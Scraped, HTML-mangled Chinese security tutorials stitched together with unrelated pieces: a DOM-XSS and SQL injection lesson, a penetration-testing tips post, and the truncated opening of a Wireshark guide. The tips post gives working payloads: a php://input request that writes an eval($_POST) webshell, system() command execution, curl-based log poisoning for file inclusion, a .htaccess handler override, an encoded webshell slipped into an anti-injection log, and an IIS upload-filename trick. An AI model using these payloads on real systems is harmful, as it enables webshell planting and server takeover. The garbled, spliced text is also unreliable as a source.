XSS:&br&1.打开“开发者选项”-到达“Network”选项卡-再次插入XSS语句,观察HTTP请求:&br&&figure&&img src=&/v2-a7a9d3a393d9e0abcd67b4_b.jpg& data-rawwidth=&1247& data-rawheight=&296& class=&origin_image zh-lightbox-thumb& width=&1247& data-original=&/v2-a7a9d3a393d9e0abcd67b4_r.jpg&&&/figure&2.我们看到了一个GET请求,点进去,查看请求参数,如下:&br&&figure&&img src=&/v2-8acde53d223a2a5ed6fa707b1feed634_b.jpg& data-rawwidth=&658& data-rawheight=&194& class=&origin_image zh-lightbox-thumb& width=&658& data-original=&/v2-8acde53d223a2a5ed6fa707b1feed634_r.jpg&&&/figure&3.然后观察请求参数中并没有我们插入的XSS语句,所以我们可以直接判断出,这是一个不依靠网络请求的DOM-XSS。&/p&&p&接着,我们来看成因:&/p&&p&1.查看网页源代码:&br&&figure&&img src=&/v2-8b9a6f9fb9f0e5ef8aef03_b.jpg& data-rawwidth=&599& data-rawheight=&279& class=&origin_image zh-lightbox-thumb& width=&599& data-original=&/v2-8b9a6f9fb9f0e5ef8aef03_r.jpg&&&/figure&2.这个例子十分好理解,我们一点一点来看,首先,我们输入了XSS语句之后,点击了OK按钮,所以,语句可能是从点击这个按钮开始被X进DOM的,我们可以看到:&br&&/p&&div class=&highlight&&&pre&&code class=&language-js&&&span&&/span&&span class=&o&&&&/span&&span class=&nx&&button&/span&&span class=&o&&&&/span&&span class=&nx&&OK&/span&&span class=&o&&&&/span&&span class=&err&&/button&&/span&
&/code&&/pre&&/div&&p&3.额,可能一会发布的时候会被这个代码高亮的插件搞乱。。我们可以看到,当我们点击这个button的时候,就触发了这个button的onclick时间,调用了上下文的一个JS函数,叫test()。&/p&&p&4.然后,我们跟进test函数,如下:&br&&figure&&img src=&/v2-29ab9fdee2f9d4b65bd8e_b.jpg& data-rawwidth=&370& data-rawheight=&91& class=&content_image& width=&370&&&/figure&&/p&&div class=&highlight&&&pre&&code class=&language-js&&&span&&/span&&span class=&kd&&function&/span& &span class=&nx&&test&/span&&span class=&p&&(){&/span&
&span class=&kd&&var&/span& &span class=&nx&&code&/span& &span class=&o&&=&/span& &span class=&nb&&document&/span&&span class=&p&&.&/span&&span class=&nx&&getElementById&/span&&span class=&p&&(&/span&&span class=&s2&&&code&&/span&&span class=&p&&).&/span&&span class=&nx&&value&/span&&span class=&p&&;&/span&
&span class=&kd&&var&/span& &span class=&nx&&box&/span& &span class=&o&&=&/span& &span class=&nb&&document&/span&&span class=&p&&.&/span&&span class=&nx&&getElementById&/span&&span class=&p&&(&/span&&span class=&s2&&&box&&/span&&span class=&p&&);&/span&
&span class=&nx&&box&/span&&span class=&p&&.&/span&&span class=&nx&&innerHTML&/span&&span class=&o&&=&/span&&span class=&s2&&&Hello ,&&/span&&span class=&o&&+&/span&&span class=&nx&&code&/span&&span class=&p&&;&/span&
&span class=&p&&}&/span&
&/code&&/pre&&/div&&p&我们来看这个函数干了什么,首先是第一行:&br&&/p&&div class=&highlight&&&pre&&code class=&language-js&&&span&&/span&&span class=&kd&&var&/span& &span class=&nx&&code&/span& &span class=&o&&=&/span& &span class=&nb&&document&/span&&span class=&p&&.&/span&&span class=&nx&&getElementById&/span&&span class=&p&&(&/span&&span class=&s2&&&code&&/span&&span class=&p&&).&/span&&span class=&nx&&value&/span&&span class=&p&&;&/span&
&/code&&/pre&&/div&&p&我们可以看到,这一行从document中通过id得到了一个id为code的元素,然后取得了这个元素的value并把value赋值给code变量。&/p&&p&我们到document中去找找一个id为code的元素,如下图:&/p&&p&&figure&&img src=&/v2-06e97a431b730cce4c5c89_b.jpg& data-rawwidth=&430& data-rawheight=&61& class=&origin_image zh-lightbox-thumb& width=&430& data-original=&/v2-06e97a431b730cce4c5c89_r.jpg&&&/figure&&br&&br&我们可以看到我们页面上的那个输入框,就是这个id为code的元素,所以这个value其实就是我们输入的值。&/p&&p&接着,我们来看第二行:&/p&&div class=&highlight&&&pre&&code class=&language-js&&&span&&/span&&span class=&kd&&var&/span& &span class=&nx&&box&/span& &span class=&o&&=&/span& &span class=&nb&&document&/span&&span class=&p&&.&/span&&span class=&nx&&getElementById&/span&&span class=&p&&(&/span&&span class=&s2&&&box&&/span&&span class=&p&&);&/span&
&/code&&/pre&&/div&&p&这里获取了一个id为box的元素,我们来找找看:&/p&&p&&figure&&img src=&/v2-03feeff0fb8a98add73f2cc_b.jpg& data-rawwidth=&242& data-rawheight=&63& class=&content_image& width=&242&&&/figure&可以看到,在OK按钮的下面就是一个h3元素,它的id就是box,接着,我们看第三行:&br&&/p&&div class=&highlight&&&pre&&code class=&language-js&&&span&&/span&&span class=&nx&&box&/span&&span class=&p&&.&/span&&span class=&nx&&innerHTML&/span&&span class=&o&&=&/span&&span class=&s2&&&Hello ,&&/span&&span class=&o&&+&/span&&span class=&nx&&code&/span&&span class=&p&&;&/span&
&/code&&/pre&&/div&&p&我们可以看到我们修改了box对象的innerHTML属性,将其改成了&Hello,&+code。也就是我们刚才第一次测试时的Hello,Hades。&/p&&p&然而在修改innerHTML属性之前,并未对用户输入的内容进行过滤。&/p&&p&按我们上篇paper的话说,就是DOM是信任域,而一切外来数据都是处在非信任域的,根据这个安全原则来说,当非信任域的数据流向信任域的时候,我们应当进行过滤。&/p&&p&正如道哥所说“安全的本质是信任问题”,所以,对于非信任域的数据,无论如何,我们都应该在检测之前对其抱着怀疑的态度。&br&&br&&br&&/p&&h2&&b&0x03 Web后端安全威胁&/b&&/h2&接着,我们就来说下Web后端的一些问题。我们要说的是大家都很熟悉的SQL注射了,由于在kali上不好打马,所以就不用实际例子了,于是本地搭建一下,OK,我们来访问下&a href=&/?target=http%3A//localhost/test.php%3Fid%3D1& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&localhost/test.php?&/span&&span class=&invisible&&id=1&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&,这就是一个注射点,我们可以测试看看:&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&http://127.0.0.1/test.php?id=1%20and%20sleep(5)
&/code&&/pre&&/div&&p&我们可以看到响应时间确实超过了5秒,为了证明确实存在SQL注射,我们通过order by来获得了查询语句所查询的字段数为1,于是如下构造:&br&&/p&&div class=&highlight&&&pre&&code class=&language-sql&&&span&&/span&&span class=&n&&http&/span&&span class=&p&&:&/span&&span class=&o&&//&/span&&span class=&mi&&127&/span&&span class=&p&&.&/span&&span class=&mi&&0&/span&&span class=&p&&.&/span&&span class=&mi&&0&/span&&span class=&p&&.&/span&&span class=&mi&&1&/span&&span class=&o&&/&/span&&span class=&n&&test&/span&&span class=&p&&.&/span&&span class=&n&&php&/span&&span class=&o&&?&/span&&span class=&n&&id&/span&&span class=&o&&=-&/span&&span class=&mi&&1&/span&&span class=&o&&%&/span&&span class=&mi&&20&/span&&span class=&k&&union&/span&&span class=&o&&%&/span&&span class=&mi&&20&/span&&span class=&k&&select&/span&&span class=&o&&%&/span&&span class=&mi&&20&/span&&span class=&o&&%&/span&&span class=&mi&&27&/span&&span class=&n&&www&/span&&span class=&p&&.&/span&&span class=&n&&ichunqiu&/span&&span class=&p&&.&/span&&span class=&n&&com&/span&&span class=&o&&%&/span&&span class=&mi&&27&/span&
&/code&&/pre&&/div&&p&成功的通过union改变了查询结果:&/p&&p&&figure&&img src=&/v2-bd7b6a265fe15e8fe05d78ee125ff61d_b.jpg& data-rawwidth=&777& data-rawheight=&420& class=&origin_image zh-lightbox-thumb& width=&777& data-original=&/v2-bd7b6a265fe15e8fe05d78ee125ff61d_r.jpg&&&/figure&OK,接着,我们就将注入点交给自动化工具sqlmap来检测:&/p&&p&&figure&&img src=&/v2-2aa10e72dc7_b.jpg& data-rawwidth=&1351& data-rawheight=&686& class=&origin_image zh-lightbox-thumb& width=&1351& data-original=&/v2-2aa10e72dc7_r.jpg&&&/figure&证明注射点,接着,我们来见证Web后端安全威胁的危害:&/p&&p&&figure&&img src=&/v2-53f1c89e72_b.jpg& data-rawwidth=&874& data-rawheight=&196& class=&origin_image zh-lightbox-thumb& width=&874& data-original=&/v2-53f1c89e72_r.jpg&&&/figure&如上图,我们通过--dbs指令获取了该Web服务的mysql数据库的数据库,我们看到除了sqliDemo数据库以为,全是默认的mysql数据库,所以,我们获取sqliDemo库里的表:&/p&&figure&&img src=&/v2-3e98fcdcc545f47a3a2fc8cc_b.jpg& data-rawwidth=&914& data-rawheight=&216& class=&origin_image zh-lightbox-thumb& width=&914& data-original=&/v2-3e98fcdcc545f47a3a2fc8cc_r.jpg&&&/figure&&br&&p&OK,我们看到了一个含有关键字的表“user”,我们看看其中的列:&br&&figure&&img src=&/v2-b1cc2ce121e1d5296cca036bd378c751_b.jpg& data-rawwidth=&1070& data-rawheight=&283& class=&origin_image zh-lightbox-thumb& width=&1070& data-original=&/v2-b1cc2ce121e1d5296cca036bd378c751_r.jpg&&&/figure&OK,两个敏感的columns出现了,我们dump其中的数据来看:&/p&&p&&figure&&img src=&/v2-a6dc35a8ac374a2d8edaecbb_b.jpg& data-rawwidth=&1191& data-rawheight=&313& class=&origin_image zh-lightbox-thumb& width=&1191& data-original=&/v2-a6dc35a8ac374a2d8edaecbb_r.jpg&&&/figure&我们看到,通过一个SQL注射漏洞,直接获取了数据。其实,无论是前端的安全问题还是后端的,他们都有着共同的目的,那就是数据,前端的漏洞只能间接的获取到数据,而后端的漏洞大多数都能直接获取数据,就是因为这个导致了一些企业对于前端安全威胁的不重视。&br&&br&&/p&&h2&&b&0x04 总结&/b&&/h2&我们通过前面的学习,可以得知,无论是那一种类型的安全威胁,都是有目的性的,而且他们的目的就是各种各样的对于攻击者有利的数据。&p&所以,我们建立安全模型,也需要从根源上考虑,这个根源也就是数据。对于数据,我们知道存在增删查改这样一些基本操作.&/p&&p&所以,从根源考虑就是说对于有对数据操作的地方进行着重防御。&/p&&p&例如一旦“删”的操作没有保护好,则会严重影响网站的&a href=&/?target=http%3A///courses/277& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&数据安全&i class=&icon-external&&&/i&&/a&,例如一个删操作的平行越权漏洞,就可以直接遍历id号,直接清掉整个数据库,其实,这也算是一种SQL注射,因为最后,我们的数据也注入到了SQL语句中,但是他却不能控制SQL操作。&/p&&p&OK,具体的各种防御策略,我们下节课来继续学习!&/p&&br&&p&最后送大家一个表情包套图!&/p&&figure&&img src=&/v2-3e6ec922b9eed1fa385b_b.jpg& data-rawwidth=&120& data-rawheight=&68& class=&content_image& width=&120&&&/figure&&figure&&img src=&/v2-789d0c824eee916280dcb42ba88543b6_b.jpg& data-rawwidth=&121& data-rawheight=&69& class=&content_image& width=&121&&&/figure&&figure&&img src=&/v2-9a084ddbf79ff8a30c725_b.jpg& data-rawwidth=&120& data-rawheight=&70& class=&content_image& width=&120&&&/figure&&figure&&img src=&/v2-81c0accc1a5c0c8f2c3d154d_b.jpg& data-rawwidth=&120& data-rawheight=&70& class=&content_image& width=&120&&&/figure&&figure&&img src=&/v2-2de086d1cf81b281bbbc7b_b.jpg& data-rawwidth=&198& data-rawheight=&113& class=&content_image& width=&198&&&/figure&&figure&&img src=&/v2-198f52befce590e46f36a449c3d4fe3f_b.jpg& data-rawwidth=&128& data-rawheight=&67& class=&content_image& width=&128&&&/figure&&figure&&img src=&/v2-a2f64bc02a_b.jpg& data-rawwidth=&120& data-rawheight=&120& class=&content_image& width=&120&&&/figure&&figure&&img src=&/v2-e57cb7fafbafdc_b.jpg& data-rawwidth=&136& data-rawheight=&112& class=&content_image& width=&136&&&/figure&
本文原创作者:万年死宅 内容来源: 未经许可禁止转载目录0x01 攻击对象 0x02 Web前端 0x03 Web后端安全威胁 0x04 总结 0x01 攻击对象我们的Web程序是属于B/S架构的程序。所以,针对与Web的攻击,只会有两个对象。一是B,也就是浏览器(Br…
&figure&&img src=&/v2-a69b64bcf945316_b.jpg& data-rawwidth=&580& data-rawheight=&330& class=&origin_image zh-lightbox-thumb& width=&580& data-original=&/v2-a69b64bcf945316_r.jpg&&&/figure&&blockquote&本文原创作者:Binghe&br&内容来源:&a href=&/?target=http%3A///portal.php%3Ffrom%3Dy& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&i春秋社区&i class=&icon-external&&&/i&&/a&&br&未经许可禁止转载&/blockquote&&br&&h2&&b&前言:&/b&&/h2&总结下渗透测试中的一些小技巧,仅做总结。&br&&h2&&b&目录:&/b&&/h2&0x01 php文件包含姿势&br&0x02 .htaccess文件突破黑名单解析&br&0x03 php流封装绕过截断&br&0x04 通用防注入系统getshell&br&0x05 iis+php黑名单上传突破&br&&h2&&b&正文&/b&&/h2&&b&0x01 php文件包含姿势&/b&&p&&b&其实这类姿势国外黑阔早有总结:&/b&&br&
● includinguploaded files -str this requires existence of an upload functionality inthe tested website (e.g. photo upload, or document upload), access to uploadfunctionality and storage of uploaded files in a place accessible by the PHPscript ?&/p&&p&(如果网站存在文件上传功能,比如前台传头像之类,可以尝试包含上传的文件,当然文件可控。)&/p&&p&
● include data://or php://input pseudo protocols - these protocols must be enabled andaccessible via include (allow_url_include set to on); also, php://filter pseudo protocol is usable in somecases ?&/p&&p&(利用php封装协议php://input和data://,包含post数据造成php命令执行,当然allow_url_include选项需要打开)&/p&&p&
● including logs - this required PHP script to be ableto access certain types of logs, e.g. httpd server erroralso, size of these logs might make the attack harder (e.g. if error log has2GB)&/p&&p&(因为包含的可以是任意文件,log文件也是可以,当我们提交&a href=&/?target=http%3A///portal.php& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&恶意代码&i class=&icon-external&&&/i&&/a&时也会被记录,于是包含记录了恶意代码的log文件是个好主意)&/p&&p&
?● including /proc/self/environ - this requires PHP to be run as CGIon a ?system that hasthe /proc pseudo-filesystem and PHP script is required to have access to theaforementioned pseudo-file&/p&&p&(包含/proc/self/environ文件: 这需要PHP运行作为一个具有cgion?/proc伪文件的系统且PHP脚本有权访问这些伪文件)&/p&&p&
include session files - this requires the attacker to beable to influence the value of any string in a session (to inject code, e.g.&?php phpinfo(); ? &), the sessions must be stored in a serializedsession file (as e.g. x| s:19:&&?php phpinfo(); ?&&; - this isthe default setting for PHP) and the PHP script must be able to access thesession file (usually names /tmp/ sess_SESSIONID)&/p&&p&(包含会话文件-这需要攻击者能控制会话中的任何字符串值(注入代码,例如phpinfo()),会话文件必须存放在serializedsession文件且PHP脚本能够访问会话文件(通常是/tmp/ sess_SESSIONID文件)&/p&&p&
include other files created by PHPapplication - thisis very application and system specific,
but it basically describes any otherfile that is created the websites functionality and the way it works, e.g.database files, cache files, application-level logs, etcAdditional toolsincluded both the poison nul byte (addressed in PHP 5.3.4[1] released) and excessive slash (/) suffix into path truncation bug[2] (patchedin 2009).&/p&&p&(包含其他由php应用创建的文件,只要你能想到的,都可以尝试创建 然后包含他,比如数据库文件,缓存文件,应用程序级别的日志)&/p&&p&&br&&b&我们来主要说下第二种和第三种姿势&/b&&/p&&p&php://input属于php内置的封装协议,其实都主要是include()函数处理不当&br&这里我们准备一个有文件包含的php文件&br&&/p&&div class=&highlight&&&pre&&code class=&language-php&&&span&&/span&&span class=&cp&&&?php&/span&
&span class=&k&&include&/span&&span class=&p&&(&/span&&span class=&nv&&$_GET&/span&&span class=&p&&[&/span&&span class=&s1&&'url'&/span&&span class=&p&&]);&/span&
&span class=&cp&&?&&/span&&span class=&x&&&/span&
&/code&&/pre&&/div&&p&我们访问&a href=&/?target=http%3A//127.0.0.1/111332.php%3Furl%3Dphp%3A//input& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&127.0.0.1/111332.php?&/span&&span class=&invisible&&url=php://input&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&br&然后我们通过POST提交php代码。&br&黑阔可利用此写入一句话木马:&br&&/p&&div class=&highlight&&&pre&&code class=&language-php&&&span&&/span&&span class=&cp&&&?php&/span& &span class=&nb&&fwrite&/span&&span class=&p&&(&/span&&span class=&nb&&fopen&/span&&span class=&p&&(&/span&&span class=&s2&&&xxx.php&&/span&&span class=&p&&,&/span&&span class=&s2&&&w&&/span&&span class=&p&&),&/span&&span class=&s1&&'&?php eval($_POST[&cc&]);?&'&/span&&span class=&p&&);&/span&&span class=&cp&&?&&/span&&span class=&x&&&/span&
&/code&&/pre&&/div&&p&&figure&&img src=&/v2-17eaced54efdc_b.png& data-rawwidth=&865& data-rawheight=&606& class=&origin_image zh-lightbox-thumb& width=&865& data-original=&/v2-17eaced54efdc_r.png&&&/figure&&br&&br&&br&同理,提交:&br&&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&&?php system(&net user&)?&
&/code&&/pre&&/div&&p&可成功通过system函数成功执行命令。&br&&br&&b&&br&第三种姿势也是比较巧妙:&/b&&/p&&p&包含日志文件getshell(需要一定读权限)&/p&&p&首先找到日志文件存放位置,利用文件包含漏洞去读取?apache 日志默认在/etc/httpd/logs/access_log &/p&&p&?也可以先找apache配置文件,通过任意文件读取漏洞配置文件找到日志路径?/etc/httpd/conf/httpd.conf&/p&&p&让日志文件插入php代码 ?&br&&br&&b&方法一:&/b&?使用burpsuit抓包访问 ,绕过浏览器编码&&&br&&br&&b&方法二:&/b& ?curl 访问不存在的url&br&curl &a href=&/?target=http%3A//192.168.192.1/a.php%3F%3D%253c%3Fphp%2520phpinfo%28%29%3B%3e& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&http://192.168.192.1/a.php?=&?php phpinfo(); ?&&i class=&icon-external&&&/i&&/a&&br&如此,php代码就被写到log里面了&/p&&p&包含一下日志:&br&&a href=&/?target=http%3A//172.16.77.145/lfi/1/index.php%3Fpage%3D/etc/httpd/logs/access& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&172.16.77.145/lfi/1/ind&/span&&span class=&invisible&&ex.php?page=/etc/httpd/logs/access&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&_log&br&&figure&&img src=&/v2-c6dd8b623b49aea40860d_b.png& data-rawwidth=&865& data-rawheight=&467& class=&origin_image zh-lightbox-thumb& width=&865& data-original=&/v2-c6dd8b623b49aea40860d_r.png&&&/figure&&br&&br&&b&0x02 .htaccess文件突破黑名单解析&/b&&br&因为是黑名单,自定义.htaccess上传,下面是内容&br&&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&?&FileMatch “test.jpg”&?
SetHandler application/x-httpd-php?
&/FileMatch&?
&/code&&/pre&&/div&&p&同目录下,上传一个test.jpg文件,没有扩展名,内容是一句话,这个时候就成功绕过。&/p&&figure&&img src=&/v2-ae0bbfcaaca87d8a05fa7fcd2a5bd239_b.png& data-rawwidth=&865& data-rawheight=&675& class=&origin_image zh-lightbox-thumb& width=&865& data-original=&/v2-ae0bbfcaaca87d8a05fa7fcd2a5bd239_r.png&&&/figure&&br&&br&&b&0x03 php流封装绕过截断&/b&&br&&br&思路源于王松童鞋 @王松_striker&p&思路主要是利用了PHP的一个流封装的特性,可以参考&a href=&/?target=http%3A//php.net/manual/zh/zip.examples.php& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&PHP官方文档&i class=&icon-external&&&/i&&/a&中的Example #3&/p&&p&Example #3 Zip 流封装,读取一个OpenOffice 文件的元信息&br&&br&&/p&&div class=&highlight&&&pre&&code class=&language-php&&&span&&/span&&span class=&cp&&&?php&/span&
&span class=&nv&&$reader&/span& &span class=&o&&=&/span& &span class=&k&&new&/span& &span class=&nx&&XMLReader&/span&&span class=&p&&();&/span&
&span class=&nv&&$reader&/span&&span class=&o&&-&&/span&&span class=&na&&open&/span&&span class=&p&&(&/span&&span class=&s1&&'zip://'&/span& &span class=&o&&.&/span& &span class=&nb&&dirname&/span&&span class=&p&&(&/span&&span class=&k&&__FILE__&/span&&span class=&p&&)&/span& &span class=&o&&.&/span& &span class=&s1&&'/test.odt#meta.xml'&/span&&span class=&p&&);&/span&
&span class=&nv&&$odt_meta&/span& &span class=&o&&=&/span& &span class=&k&&array&/span&&span class=&p&&();&/span&
&span class=&k&&while&/span& &span class=&p&&(&/span&&span class=&nv&&$reader&/span&&span class=&o&&-&&/span&&span class=&na&&read&/span&&span class=&p&&())&/span& &span class=&p&&{&/span&
&span class=&k&&if&/span& &span class=&p&&(&/span&&span class=&nv&&$reader&/span&&span class=&o&&-&&/span&&span class=&na&&nodeType&/span& &span class=&o&&==&/span& &span class=&nx&&XMLREADER&/span&&span class=&o&&::&/span&&span class=&na&&ELEMENT&/span&&span class=&p&&)&/span& &span class=&p&&{&/span&
&span class=&nv&&$elm&/span& &span class=&o&&=&/span& &span class=&nv&&$reader&/span&&span class=&o&&-&&/span&&span class=&na&&name&/span&&span class=&p&&;&/span&
&span class=&p&&}&/span& &span class=&k&&else&/span& &span class=&p&&{&/span&
&span class=&k&&if&/span& &span class=&p&&(&/span&&span class=&nv&&$reader&/span&&span class=&o&&-&&/span&&span class=&na&&nodeType&/span& &span class=&o&&==&/span& &span class=&nx&&XMLREADER&/span&&span class=&o&&::&/span&&span class=&na&&END_ELEMENT&/span& &span class=&o&&&&&/span& &span class=&nv&&$reader&/span&&span class=&o&&-&&/span&&span class=&na&&name&/span& &span class=&o&&==&/span& &span class=&s1&&'office:meta'&/span&&span class=&p&&)&/span& &span class=&p&&{&/span&
&span class=&k&&break&/span&&span class=&p&&;&/span&
&span class=&p&&}&/span&
&span class=&k&&if&/span& &span class=&p&&(&/span&&span class=&o&&!&/span&&span class=&nb&&trim&/span&&span class=&p&&(&/span&&span class=&nv&&$reader&/span&&span class=&o&&-&&/span&&span class=&na&&value&/span&&span class=&p&&))&/span& &span class=&p&&{&/span&
&span class=&k&&continue&/span&&span class=&p&&;&/span&
&span class=&p&&}&/span&
&span class=&nv&&$odt_meta&/span&&span class=&p&&[&/span&&span class=&nv&&$elm&/span&&span class=&p&&]&/span& &span class=&o&&=&/span& &span class=&nv&&$reader&/span&&span class=&o&&-&&/span&&span class=&na&&value&/span&&span class=&p&&;&/span&
&span class=&p&&}&/span&
&span class=&p&&}&/span&
&span class=&nb&&print_r&/span&&span class=&p&&(&/span&&span class=&nv&&$odt_meta&/span&&span class=&p&&);&/span&
&span class=&cp&&?&&/span&&span class=&x&&&/span&
&/code&&/pre&&/div&&p&&br&此例使用了旧的 API(PHP 4),它打开了一个 ZIP 文件归档,读取归档里的每个文件,并输出文件内容。此例用到的 test2.zip 文档是 ZZIPlib 源分布里测试文档中的一个。&/p&&p&假设存在文件包含的代码为:&br&&/p&&div class=&highlight&&&pre&&code class=&language-php&&&span&&/span&&span class=&cp&&&?php&/span&
&span class=&nv&&$a&/span& &span class=&o&&=&/span& &span class=&nv&&$_GET&/span&&span class=&p&&[&/span&&span class=&s1&&'file'&/span&&span class=&p&&];&/span&
&span class=&k&&include&/span& &span class=&nv&&$a&/span&&span class=&o&&.&/span&&span class=&s1&&'.html.php'&/span&&span class=&p&&;&/span&
&/code&&/pre&&/div&&p&但是我们%00无法截断, 只能包含 xxxx.html.php&br&首先我们新建一个hello.html.php,内容为phpinfo();&/p&&p&然后压缩成zip,结构如下图:&/p&&p&&figure&&img src=&/v2-224ef5d12cb0d88c3cc201_b.png& data-rawwidth=&865& data-rawheight=&496& class=&origin_image zh-lightbox-thumb& width=&865& data-original=&/v2-224ef5d12cb0d88c3cc201_r.png&&&/figure&然后访问如下网址,成功包含压缩文件内的hello.html.php&br&&a href=&/?target=http%3A//localhost/test/blog.php%3Ffile%3Dzip%3A//test.zip%2523hello& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&localhost/test/blog.php?&/span&&span class=&invisible&&file=zip://test.zip%23hello&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&如图:&br&&br&&figure&&img src=&/v2-7eaecf6bbe3f_b.png& data-rawwidth=&865& data-rawheight=&437& class=&origin_image zh-lightbox-thumb& width=&865& data-original=&/v2-7eaecf6bbe3f_r.png&&&/figure&&br&&br&把我们输入的变量和include后面的变量合起来就是&br&zip://test.zip#hello.html.php&/p&&p&代表当前目录下的test.zip压缩包里面的hello.html.php,于是包含成功。&br&&br&&b&0x04 通用防注入系统getshell&/b&&br&相信许多朋友渗透测试都遇到过这种情况&br&&figure&&img src=&/v2-9fd151bcddfe57d379c876_b.png& data-rawwidth=&865& data-rawheight=&327& class=&origin_image zh-lightbox-thumb& width=&865& data-original=&/v2-9fd151bcddfe57d379c876_r.png&&&/figure&&/p&&p&系统做了数据提交记录,我们通过阅读类似程序的源码得知数据记录在sqlin.asp&br&&figure&&img src=&/v2-c388b93b94ca9f5ba8ed88_b.png& data-rawwidth=&865& data-rawheight=&341& class=&origin_image zh-lightbox-thumb& width=&865& data-original=&/v2-c388b93b94ca9f5ba8ed88_r.png&&&/figure&&/p&&p&于是想到直接提交一句话木马。但是没有成功&br&┼攠數畣整爠煥敵瑳∨≡┩愾
(加密方式是:ANSI-&Unicode)&br&提交 and 1= ┼攠數畣整爠煥敵瑳∨≡┩愾&/p&&p&&figure&&img src=&/v2-9fd151bcddfe57d379c876_b.png& data-rawwidth=&865& data-rawheight=&327& class=&origin_image zh-lightbox-thumb& width=&865& data-original=&/v2-9fd151bcddfe57d379c876_r.png&&&/figure&菜刀连接sqlin.php即可&br&&br&&b&0x05 iis+php黑名单上传突破&/b&&br&&/p&&blockquote&环境: php+window+iis&br&局限: 文件上传黑名单机制,略显鸡肋&/blockquote&&br&&b&科普:&/b&&br&在php+window+iis环境下:&br&&blockquote&双引号(“&”) &==& 点号(“.”)’;&br&大于符号(“&”) &==& 问号(“?”)’;&br&小于符号(“&“) &==& 星号(“*”)’;&/blockquote&&br&&p&有这么好玩的东西,那不就可以做太多的事了?但事实并不是这样,通过一系列的测试发现,该特性只能用于文件上传时覆盖已知的文件,于是这特性便略显鸡肋。&/p&&br&不过P牛已经给出完美利用的方法,思路如下:&p&首先我们先利用特殊办法生成一个php文件,然后再利用这个特性将文件覆盖..&/p&&p&可问题又来了,怎样生成php文件呢?如果可以直接生成php文件的话,干嘛还要利用那什么特性?&/p&&p&别急,办法总是有的..&/p&&p&我们都知道在文件上传时,我们往往会考虑到文件名截断,如%00 等..&/p&&p&对!有的人可能还会用冒号(“:”)去截断,如:bypass.php:jpg&/p&&p&但是你知道吗?冒号截断产生的文件是空白的,里面并不会有任何的内容,呵呵说到这里明白了没有? 虽然生成的php文件里面没有内容,但是php文件总生成了吧,所以我们可以结合上面所说的特性完美成功利用.&/p&&p&&b&按照上面提供的思路,实现..&/b&&br&本地测试地址:http://**.**.**.**/upfile.php 环境:Windows+IIS7.5&/p&&p&1)首先利用冒号生成我们将要覆盖的php文件,这里为:bypass.php,如图&br&&figure&&img src=&/v2-be7e49a42a8b75_b.png& data-rawwidth=&865& data-rawheight=&507& class=&origin_image zh-lightbox-thumb& width=&865& data-original=&/v2-be7e49a42a8b75_r.png&&&/figure&点击forward后,可以看见成功生成空白的bypass.php文件&br&&figure&&img src=&/v2-bf57b943ffca_b.png& data-rawwidth=&865& data-rawheight=&97& class=&origin_image zh-lightbox-thumb& width=&865& data-original=&/v2-bf57b943ffca_r.png&&&/figure&2)利用上面的系统特性覆盖该文件&br&从上面已经知道“&” 就等于 “*”,而”*”代码任意字符,于是乎..&br&我们可以这样修改上传的文件名,如下:&br&&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&------WebKitFormBoundaryaaRARrn2LBvpvcwK&/pre&
Content-Disposition: form- name=&file&; filename=&bypass.&&&&
Content-Type: image/jpeg
//注意!文件名为:bypass.&&&
&/code&&/pre&&/div&&p&点击go..,即可成功覆盖bypass.php文件,如图&/p&&p&&figure&&img src=&/v2-ec30cf6cd2d177ee84c3_b.png& data-rawwidth=&865& data-rawheight=&121& class=&origin_image zh-lightbox-thumb& width=&865& data-original=&/v2-ec30cf6cd2d177ee84c3_r.png&&&/figure&对比上面的两个图,bypass.php被我们成功的写入了内容..&/p&&figure&&img src=&/v2-bfb27197de1fcd074c27b71516fa93fa_b.png& data-rawwidth=&865& data-rawheight=&394& class=&origin_image zh-lightbox-thumb& width=&865& data-original=&/v2-bfb27197de1fcd074c27b71516fa93fa_r.png&&&/figure&&br&&p&参考资料:乌云知识库 binghesec Phithon 王松&/p&
本文原创作者:Binghe 内容来源: 未经许可禁止转载 前言:总结下渗透测试中的一些小技巧,仅做总结。 目录:0x01 php文件包含姿势 0x02 .htaccess文件突破黑名单解析 0x03 php流封装绕过截断 0x04 通用防注入系统getshell 0x05 iis+php黑名单上传…
&figure&&img src=&/v2-8aee2d3ecf46e8d0d687_b.jpg& data-rawwidth=&1920& data-rawheight=&1080& class=&origin_image zh-lightbox-thumb& width=&1920& data-original=&/v2-8aee2d3ecf46e8d0d687_r.jpg&&&/figure&&p&网络抓包是个基础技能,对于网络协议的掌握有一定的要求。iOS上实现网络抓包可以用Charles(针对http和https),tcpdump(快速分析网络包),和Wireshare。之前写过一篇介绍&a href=&/?target=http%3A///blog/tutorial-tcpdump/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&tcpdump抓包的入门文章&i class=&icon-external&&&/i&&/a&,和tcpdump相比,Wireshark提供丰富的GUI交互,而且能分析所有的网络协议,关键还是免费的,掌握好Wireshark就能应付绝大部分需要分析网络协议的场景了。&/p&&h3&安装初识&/h3&&p&Wireshark提供&a href=&/?target=https%3A//www.wireshark.org/download.html& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Mac版本&i class=&icon-external&&&/i&&/a&,可以从官网下载安装,到这篇博客为止最新版本应该是2.2.1。安装好之后打开的第一个界面如下:&/p&&figure&&img src=&/v2-eb81fa4ddc3b_b.png& data-rawwidth=&1348& data-rawheight=&850& 